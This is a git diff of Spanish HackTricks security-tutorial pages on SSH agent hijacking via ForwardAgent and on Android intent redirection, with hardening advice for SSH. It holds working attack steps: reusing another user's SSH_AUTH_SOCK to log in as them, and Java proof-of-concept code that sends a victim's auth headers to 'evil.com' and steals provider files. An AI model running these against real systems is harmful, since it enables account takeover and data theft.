* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,71 +1,71 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Resumen
|
||||
|
||||
¿Qué puedes hacer si descubres dentro del archivo de configuración `/etc/ssh_config` o dentro de `$HOME/.ssh/config` lo siguiente:
|
||||
¿Qué puedes hacer si descubres dentro de la configuración `/etc/ssh_config` o dentro de `$HOME/.ssh/config` esto:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
Si eres root dentro de la máquina, probablemente puedas **acceder a cualquier conexión ssh realizada por cualquier agente** que encuentres en el directorio _/tmp_
|
||||
|
||||
Suplantar a Bob usando uno de los ssh-agent de Bob:
|
||||
Suplantar a Bob utilizando uno de los ssh-agent de Bob:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## ¿Por qué funciona esto?
|
||||
|
||||
Cuando configuras la variable `SSH_AUTH_SOCK` estás accediendo a las claves de Bob que han sido utilizadas en la conexión ssh de Bob. Entonces, si su clave privada aún está allí (normalmente lo estará), podrás acceder a cualquier host usándola.
|
||||
Cuando estableces la variable `SSH_AUTH_SOCK`, estás accediendo a las claves de Bob que se han utilizado en la conexión ssh de Bob. Entonces, si su clave privada todavía está allí (normalmente lo estará), podrás acceder a cualquier host usándola.
|
||||
|
||||
Como la clave privada se guarda en la memoria del agente sin cifrar, supongo que si eres Bob pero no conoces la contraseña de la clave privada, aún puedes acceder al agente y usarlo.
|
||||
|
||||
Otra opción es que el usuario propietario del agente y root puedan acceder a la memoria del agente y extraer la clave privada.
|
||||
|
||||
# Explicación larga y explotación
|
||||
# Explicación detallada y explotación
|
||||
|
||||
**Tomado de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
**Sirve esta publicación como una máquina del tiempo del post ahora eliminado de:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/)
|
||||
|
||||
## **Cuando ForwardAgent No Puede Ser Confiable**
|
||||
## **Cuando ForwardAgent no puede ser confiado**
|
||||
|
||||
SSH sin contraseñas facilita la vida con sistemas operativos similares a Unix. Si tu red requiere sesiones ssh encadenadas (para acceder a una red restringida, por ejemplo), el reenvío de agente se vuelve extremadamente útil. Con el reenvío de agente es posible conectarse desde mi portátil a mi servidor de desarrollo y desde allí ejecutar un svn checkout de otro servidor, todo sin contraseñas, mientras mantengo mi clave privada segura en mi estación de trabajo local.
|
||||
SSH sin contraseñas facilita la vida con sistemas operativos tipo Unix. Si tu red requiere sesiones ssh encadenadas (para acceder a una red restringida, por ejemplo), el reenvío del agente se vuelve extremadamente útil. Con el reenvío del agente, es posible conectarme desde mi laptop a mi servidor de desarrollo y desde allí ejecutar un checkout de svn desde otro servidor, todo sin contraseñas, manteniendo mi clave privada segura en mi estación de trabajo local.
|
||||
|
||||
Sin embargo, esto puede ser peligroso. Una rápida búsqueda en la web revelará varios artículos que indican que esto solo es seguro si los hosts intermedios son confiables. Raramente, sin embargo, encontrarás una explicación de _por qué_ es peligroso.
|
||||
|
||||
Eso es lo que este artículo pretende explicar. Pero primero, algo de contexto.
|
||||
Para eso es este artículo. Pero primero, algo de contexto.
|
||||
|
||||
## **Cómo Funciona la Autenticación Sin Contraseña**
|
||||
## **Cómo funciona la autenticación sin contraseña**
|
||||
|
||||
Cuando te autenticas en modo normal, SSH usa tu contraseña para probar que eres quien dices ser. El servidor compara un hash de esta contraseña con uno que tiene en archivo, verifica que los hashes coincidan y te permite entrar.
|
||||
Cuando te autenticas en modo normal, SSH utiliza tu contraseña para demostrar que eres quien dices ser. El servidor compara un hash de esta contraseña con uno que tiene en el archivo, verifica que los hashes coincidan y te deja entrar.
|
||||
|
||||
Si un atacante logra romper el cifrado utilizado para proteger tu contraseña mientras se envía al servidor, pueden robarla e iniciar sesión como tú cuando lo deseen. Si a un atacante se le permite realizar cientos de miles de intentos, eventualmente pueden adivinar tu contraseña.
|
||||
Si un atacante logra romper el cifrado utilizado para proteger tu contraseña mientras se envía al servidor, pueden robarla e iniciar sesión como tú cuando lo deseen. Si se permite a un atacante realizar cientos de miles de intentos, eventualmente pueden adivinar tu contraseña.
|
||||
|
||||
Un método de autenticación mucho más seguro es la [autenticación con clave pública](http://www.ibm.com/developerworks/library/l-keyc/index.html), una forma de iniciar sesión sin contraseña. La autenticación con clave pública requiere un par de claves pública y privada que coincidan. La clave pública cifra mensajes que solo pueden ser descifrados con la clave privada. La computadora remota usa su copia de tu clave pública para cifrar un mensaje secreto para ti. Demuestras que eres tú descifrando el mensaje usando tu clave privada y enviando el mensaje de vuelta a la computadora remota. Tu clave privada permanece segura en tu computadora local todo el tiempo, a salvo de ataques.
|
||||
Un método de autenticación mucho más seguro es la [autenticación de clave pública](http://www.ibm.com/developerworks/library/l-keyc/index.html), una forma de iniciar sesión sin contraseña. La autenticación de clave pública requiere un par de claves pública y privada emparejadas. La clave pública cifra mensajes que solo pueden ser descifrados con la clave privada. La computadora remota utiliza su copia de tu clave pública para cifrar un mensaje secreto para ti. Demuestras que eres tú al descifrar el mensaje usando tu clave privada y enviar el mensaje de vuelta a la computadora remota. Tu clave privada permanece segura en tu computadora local todo el tiempo, protegida de ataques.
|
||||
|
||||
La clave privada es valiosa y debe ser protegida, por lo que por defecto se almacena en un formato cifrado. Desafortunadamente, esto significa ingresar tu frase de paso de cifrado antes de usarla. Muchos artículos sugieren usar claves privadas sin frase de paso (sin cifrar) para evitar esta inconveniencia. Esa es una mala idea, ya que cualquiera con acceso a tu estación de trabajo (a través de acceso físico, robo o hackeo) ahora también tiene acceso libre a cualquier computadora configurada con tu clave pública.
|
||||
La clave privada es valiosa y debe ser protegida, por lo que por defecto se almacena en un formato cifrado. Desafortunadamente, esto significa ingresar tu frase de contraseña de cifrado antes de usarla. Muchos artículos sugieren usar claves privadas sin frase de contraseña (sin cifrar) para evitar esta incomodidad. Eso es una mala idea, ya que cualquier persona con acceso a tu estación de trabajo (a través de acceso físico, robo o hackeo) ahora también tiene acceso gratuito a cualquier computadora configurada con tu clave pública.
|
||||
|
||||
OpenSSH incluye [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un demonio que se ejecuta en tu estación de trabajo local. Carga una copia descifrada de tu clave privada en la memoria, por lo que solo tienes que ingresar tu frase de paso una vez. Luego proporciona un [socket](http://en.wikipedia.org/wiki/Unix_domain_socket) local que el cliente ssh puede usar para pedirle que descifre el mensaje cifrado enviado por el servidor remoto. Tu clave privada permanece segura en la memoria del proceso ssh-agent mientras aún te permite moverte por ssh sin escribir contraseñas.
|
||||
OpenSSH incluye [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), un demonio que se ejecuta en tu estación de trabajo local. Carga una copia descifrada de tu clave privada en la memoria, por lo que solo tienes que ingresar tu frase de contraseña una vez. Luego proporciona un [socket](http://en.wikipedia.org/wiki/Unix\_domain\_socket) local que el cliente ssh puede usar para pedirle que descifre el mensaje cifrado enviado por el servidor remoto. Tu clave privada permanece seguramente en la memoria del proceso ssh-agent mientras te permite moverte por ssh sin tener que escribir contraseñas.
|
||||
|
||||
## **Cómo Funciona ForwardAgent**
|
||||
## **Cómo funciona ForwardAgent**
|
||||
|
||||
Muchas tareas requieren "encadenar" sesiones ssh. Considera mi ejemplo anterior: me conecto por ssh desde mi estación de trabajo al servidor de desarrollo. Mientras estoy allí, necesito realizar una actualización svn, utilizando el protocolo "svn+ssh". Dado que sería absurdo dejar una copia sin cifrar de mi clave privada supersecreta en un servidor compartido, ahora estoy atascado con la autenticación por contraseña. Sin embargo, si habilité "ForwardAgent" en la configuración ssh de mi estación de trabajo, ssh usa sus capacidades de túnel incorporadas para crear otro socket en el servidor de desarrollo que está tunelizado de vuelta al socket del ssh-agent en mi estación de trabajo local. Esto significa que el cliente ssh en el servidor de desarrollo ahora puede enviar solicitudes de "descifra este mensaje secreto" directamente de vuelta al ssh-agent que se ejecuta en mi estación de trabajo, autenticándose ante el servidor svn sin tener acceso a mi clave privada.
|
||||
Muchas tareas requieren sesiones ssh "encadenadas". Considera mi ejemplo anterior: me conecto por ssh desde mi estación de trabajo al servidor de desarrollo. Mientras estoy allí, necesito realizar una actualización de svn, usando el protocolo "svn+ssh". Dado que sería absurdo dejar una copia sin cifrar de mi súper secreta clave privada en un servidor compartido, ahora estoy atascado con la autenticación de contraseña. Sin embargo, si habilito "ForwardAgent" en la configuración ssh de mi estación de trabajo, ssh utiliza sus capacidades de túnel incorporadas para crear otro socket en el servidor de desarrollo que se tuneliza de vuelta al socket del ssh-agent en mi estación de trabajo local. Esto significa que el cliente ssh en el servidor de desarrollo ahora puede enviar solicitudes de "descifrar este mensaje secreto" directamente de vuelta al ssh-agent en ejecución en mi estación de trabajo, autenticándose ante el servidor svn sin nunca tener acceso a mi clave privada.
|
||||
|
||||
## **Por Qué Esto Puede Ser Peligroso**
|
||||
## **Por qué esto puede ser peligroso**
|
||||
|
||||
En pocas palabras, cualquiera con privilegios de root en el servidor intermedio puede hacer uso libre de tu ssh-agent para autenticarse en otros servidores. Una demostración simple muestra lo trivial que puede ser hacer esto. Los nombres de host y usuarios han sido cambiados para proteger a los inocentes.
|
||||
En pocas palabras, cualquier persona con privilegios de root en el servidor intermedio puede hacer uso gratuito de tu ssh-agent para autenticarse en otros servidores. Una simple demostración muestra lo trivial que puede ser esto. Los nombres de host y usuarios han sido cambiados para proteger a los inocentes.
|
||||
|
||||
Mi portátil está ejecutando ssh-agent, que se comunica con los programas cliente ssh a través de un socket. La ruta a este socket se almacena en la variable de entorno SSH_AUTH_SOCK:
|
||||
Mi laptop está ejecutando ssh-agent, que se comunica con los programas cliente ssh a través de un socket. La ruta a este socket se almacena en la variable de entorno SSH_AUTH_SOCK:
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
@ -78,14 +78,14 @@ El programa [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) nos
|
|||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Tengo "ForwardAgent yes" en el \~/.ssh/config de mi portátil. Por lo tanto, ssh va a crear un túnel conectando el socket local a un socket local en el servidor remoto:
|
||||
Tengo "ForwardAgent yes" en el \~/.ssh/config en mi computadora portátil. Por lo tanto, ssh va a crear un túnel conectando el socket local a un socket local en el servidor remoto:
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
Aunque mis claves no están instaladas en "seattle", los programas cliente ssh aún pueden acceder al agente que se ejecuta en mi máquina local:
|
||||
Aunque mis claves no estén instaladas en "seattle", los programas cliente de ssh aún pueden acceder al agente que se está ejecutando en mi máquina local:
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
|
@ -112,27 +112,29 @@ sshd(16816)───bash(16817)
|
|||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
Hay varias maneras para que root vea el entorno de un proceso en ejecución. En Linux, los datos están disponibles en /proc/\<pid>/environ. Dado que se almacenan en cadenas terminadas en NULL, usaré tr para convertir los NULL en saltos de línea:
|
||||
Hay varias formas para que root pueda ver el entorno de un proceso en ejecución. En Linux, los datos están disponibles en /proc/\<pid>/environ. Dado que están almacenados en cadenas terminadas en NULL, usaré tr para convertir los NULLs en saltos de línea:
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
Ahora tengo todo lo que necesito para secuestrar el ssh-agent de Bob:
|
||||
Ahora tengo todo lo que necesito saber para secuestrar el ssh-agent de Bob:
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
Si tengo un objetivo específico en mente, ahora debería poder conectarme directamente. De lo contrario, simplemente observar la lista de procesos o buscar en el archivo de historial de Bob debería presentar muchas oportunidades de objetivo. En este caso, sé que Bob tiene todo tipo de archivos super secretos almacenados en el servidor llamado "boston":
|
||||
Si tengo un objetivo específico en mente, ahora debería poder conectarme directamente. De lo contrario, simplemente observar la lista de procesos o buscar en el archivo de historial de Bob debería presentar muchas oportunidades de objetivos. En este caso, sé que Bob tiene todo tipo de archivos súper secretos almacenados en el servidor llamado "boston":
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
## **¡Protégete!**
|
||||
He logrado aprovechar mis privilegios de root en "seattle" para acceder como bob en "boston". Apuesto a que puedo usar eso para despedirlo.
|
||||
|
||||
No permitas que tu ssh-agent almacene tus claves indefinidamente. En OS X, configura tu Keychain para que se bloquee después de inactividad o cuando tu pantalla se bloquee. En otras plataformas Unix, pasa la opción -t a ssh-agent para que sus claves se eliminen después de segundos.
|
||||
## **¡Protégete a ti mismo!**
|
||||
|
||||
No habilites el reenvío de agente al conectarte a hosts no confiables. Afortunadamente, la sintaxis de \~/.ssh/config hace esto bastante simple:
|
||||
No permitas que tu ssh-agent almacene tus claves indefinidamente. En OS X, configura tu Llavero para bloquearse después de un período de inactividad o cuando tu pantalla se bloquea. En otras plataformas Unix, pasa la opción -t a ssh-agent para que sus claves se eliminen después de segundos.
|
||||
|
||||
No habilites el reenvío del agente al conectarte a hosts no confiables. Afortunadamente, la sintaxis \~/.ssh/config hace que esto sea bastante simple:
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
|
@ -142,24 +144,24 @@ ForwardAgent yes
|
|||
Host *
|
||||
ForwardAgent no
|
||||
```
|
||||
## **Lecturas Recomendadas**
|
||||
## **Lectura Recomendada**
|
||||
|
||||
* [Gestión de claves OpenSSH](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
|
||||
* [Guía Ilustrada para el Reenvío de Agente SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [manual de ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [manual de ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
* [Una guía ilustrada para el reenvío del agente SSH](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
|
||||
* [Manual de ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [Manual de ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
File diff suppressed because it is too large
Load diff
|
@ -1,264 +1,31 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**Investigación tomada de** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)
|
||||
|
||||
# Introducción
|
||||
|
||||
Esta vulnerabilidad se asemeja a **Open Redirect en seguridad web**. Dado que la clase `Intent` es `Parcelable`, **objetos pertenecientes a esta clase** pueden ser **pasados** como **datos extra** en otro objeto `Intent`. \
|
||||
Muchos desarrolladores hacen **uso** de esta **característica** y crean **componentes proxy** (actividades, receptores de difusión y servicios) que **toman un Intent incrustado y lo pasan a métodos peligrosos** como `startActivity(...)`, `sendBroadcast(...)`, etc. \
|
||||
Esto es peligroso porque **un atacante puede forzar a la app a lanzar un componente no exportado que no puede ser lanzado directamente desde otra app**, o para conceder al atacante acceso a sus proveedores de contenido. **`WebView`** también a veces cambia una **URL de un string a un objeto `Intent`**, utilizando el método `Intent.parseUri(...)`, y lo pasa a `startActivity(...)`.
|
||||
|
||||
{% hint style="info" %}
|
||||
En resumen: Si un atacante puede enviar un Intent que se está ejecutando de manera insegura, potencialmente puede acceder a componentes no exportados y abusar de ellos.
|
||||
{% endhint %}
|
||||
|
||||
# Un caso típico
|
||||
|
||||
Examinemos un ejemplo. Fragmento del archivo `AndroidManifest.xml`
|
||||
```markup
|
||||
<activity android:name=".ProxyActivity" android:exported="true" />
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false" />
|
||||
```
|
||||
Actividad `ProxyActivity`
|
||||
```java
|
||||
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
|
||||
```
|
||||
Actividad `AuthWebViewActivity`
|
||||
```java
|
||||
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
|
||||
```
|
||||
`AuthWebViewActivity` es un ejemplo de **funcionalidad oculta de la aplicación que realiza ciertas acciones inseguras**, en este caso pasando la sesión de autenticación del usuario a una URL obtenida del parámetro `url`.
|
||||
|
||||
Las restricciones de exportación significan que **el atacante no puede acceder a `AuthWebViewActivity` directamente**. Una llamada directa
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
startActivity(intent);
|
||||
```
|
||||
arroja una `java.lang.SecurityException`, debido a `Permission Denial`: `AuthWebViewActivity no exportado desde uid 1337`.
|
||||
|
||||
Pero el atacante puede **forzar a la víctima a lanzar `AuthWebViewActivity` por sí mismo**:
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
extra.putExtra("url", "http://evil.com/");
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
y no surgirá ninguna violación de seguridad, porque **la app que está bajo ataque sí tiene acceso a todos sus propios componentes**. Utilizando este fragmento de código, el atacante puede eludir las restricciones integradas del sistema Android.
|
||||
|
||||
# Escalación de Impacto
|
||||
|
||||
Para escalar el impacto de esta vulnerabilidad necesitas **encontrar otras vulnerabilidades/configuraciones erróneas que podrían permitir aumentar el impacto de la vulnerabilidad** (ya que la vulnerabilidad por sí sola no está creando ningún riesgo).
|
||||
|
||||
## Escalación de ataques a través de Content Providers
|
||||
|
||||
Además del acceso a componentes arbitrarios de la app original, el **atacante puede intentar obtener acceso a aquellos de los Content Providers de la app vulnerable** que cumplan con las siguientes condiciones:
|
||||
|
||||
* debe ser **no exportado** (de lo contrario, **podría ser atacado directamente**, sin utilizar la vulnerabilidad de la que estamos hablando en este artículo)
|
||||
* debe tener la bandera **`android:grantUriPermissions`** establecida en **`true`**.
|
||||
* `android:grantUriPermissions="true"` indica que tu código Java puede usar `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION` para **cualquier `Uri` servido por ese `ContentProvider`**.
|
||||
* `android:grantUriPermissions="false"` indica que **solo los valores `Uri` especificados por elementos hijos `<grant-uri-permission>`** pueden usarse con `FLAG_GRANT_READ_URI_PERMISSION` y `FLAG_GRANT_WRITE_URI_PERMISSION`.
|
||||
|
||||
El atacante debe configurarse a sí mismo como el destinatario de un intent incrustado y establecer las siguientes banderas
|
||||
|
||||
* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permite el acceso persistente al proveedor (sin esta bandera, el acceso es solo de una vez)
|
||||
* `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permite el acceso a URI por prefijo – por ejemplo, en lugar de obtener acceso separado repetidamente usando una ruta completa como `content://com.victim.provider/image/1` el atacante puede conceder acceso a todo el contenido del proveedor usando el URI `content://com.victim.provider/` y luego usar `ContentResolver` para dirigirse a `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc.
|
||||
* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permite operaciones de lectura en el proveedor (como `query`, `openFile`, `openAssetFile`)
|
||||
* `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permite operaciones de escritura
|
||||
|
||||
Un ejemplo de un proveedor típico donde un atacante puede obtener acceso y realizar operaciones regulares como `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile`
|
||||
```markup
|
||||
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
|
||||
```
|
||||
Ejemplo del robo de fotos de usuario en el archivo `AndroidManifest.xml`
|
||||
```markup
|
||||
<activity android:name=".LeakActivity" android:exported="true" />
|
||||
```
|
||||
El archivo `MainActivity.java`
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_READ_URI_PERMISSION
|
||||
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.provider/"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
|
||||
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
|
||||
```
|
||||
## Ataques al Android File Provider
|
||||
|
||||
Esta vulnerabilidad también permite al atacante **robar archivos de aplicaciones** ubicados en directorios que el desarrollador predeterminó. Para un ataque exitoso, la aplicación maliciosa necesita **obtener derechos de acceso al Android File Provider y luego leer contenido del proveedor de archivos usando Android ContentResolver**.
|
||||
|
||||
Ejemplo de proveedor de archivos (para más detalles ver [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider))
|
||||
